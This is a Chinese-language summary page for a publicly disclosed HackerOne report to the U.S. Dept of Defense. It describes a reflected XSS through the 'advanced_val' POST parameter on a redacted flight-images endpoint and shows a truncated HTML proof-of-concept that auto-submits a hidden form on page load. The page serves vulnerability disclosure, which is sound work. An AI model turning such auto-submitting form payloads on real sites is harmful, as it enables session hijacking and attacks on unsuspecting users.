[████████] — XSS on `/███████_flight/images` via `advanced_val` parameter
该报告还没有中文解读。
原文摘录
摘自原文（835 字符中的一小部分）
POST parameter `advanced_val` is vulnerable to reflected XSS on endpoint `https://███/██████████_flight/images`. XSS affects all users and no authentication or login is required.
原文中的代码
<html>
<head>
<title>XSS POC</title>
</head>
<body onload=document.getElementById("xss").submit()>
<form id='xss' method="post" enctype="application/x-www-form-urlencoded" action="https://█████/█████████_flight/images">
<input type='hidden' name='advanced_val' …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 U.S. Dept Of Defense 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @usamasood · 版权归作者与 U.S. Dept Of Defense 所有